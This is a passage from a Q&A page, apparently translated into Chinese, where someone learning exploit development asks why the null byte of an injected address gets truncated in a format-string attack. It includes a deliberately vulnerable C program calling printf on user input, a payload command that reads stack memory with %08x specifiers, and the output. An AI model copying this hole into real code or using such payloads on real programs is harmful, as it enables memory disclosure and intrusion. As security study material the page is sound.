“利用开发的技巧”-格式化字符串利用内存截断

时间:2018-09-22 13:13:52

标签: c linux

我正在尝试使用printf()格式参数,其中直接提供用户控制的数据作为printf(“用户输入”)的唯一参数,允许用户提供格式参数,例如%x,在这种情况下,没有为函数提供任何其他参数以使其从堆栈中弹出,因此该函数使用当前存在的任何数据,使您可以读取地址等。

程序

#include <stdio.h>
#include <stdlib.h>
#include <string.h>


int main(int argc, char *argv[]) {
    char text[1024];
    static int test_val = -72;

    if(argc < 2) {
        printf("Usage: %s <text to print>\n", argv[0]);
        exit(0);
    }
    strcpy(text, argv[1]);

    printf("The right way to print user-controlled input:\n");
    printf("%s", text);

    printf("\nThe wrong way to print user-controlled input:\n");
    printf(text);

    printf("\n");

    // Debug output
    printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);

    exit(0);
}

我的问题是,当我在格式参数之前提供一个地址作为程序的参数时,最低有效字节00(地址的一部分)被截断并替换为另一个字节(在这种情况下为2e)堆栈。

./fmt_vuln $(printf "\x58\x10\x60\x00")$(perl -e 'print ".%08x" x8')

输出:

The right way to print user-controlled input:
X`.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
The wrong way to print user-controlled input:
X`.017af010.3a780780.3a4b12c0.3a967700.0000002b.22f85198.00f7803b.2e601058
[*] test_val @ 0x00601058 = -72 0xffffffb8

谢谢

0 个答案:

没有答案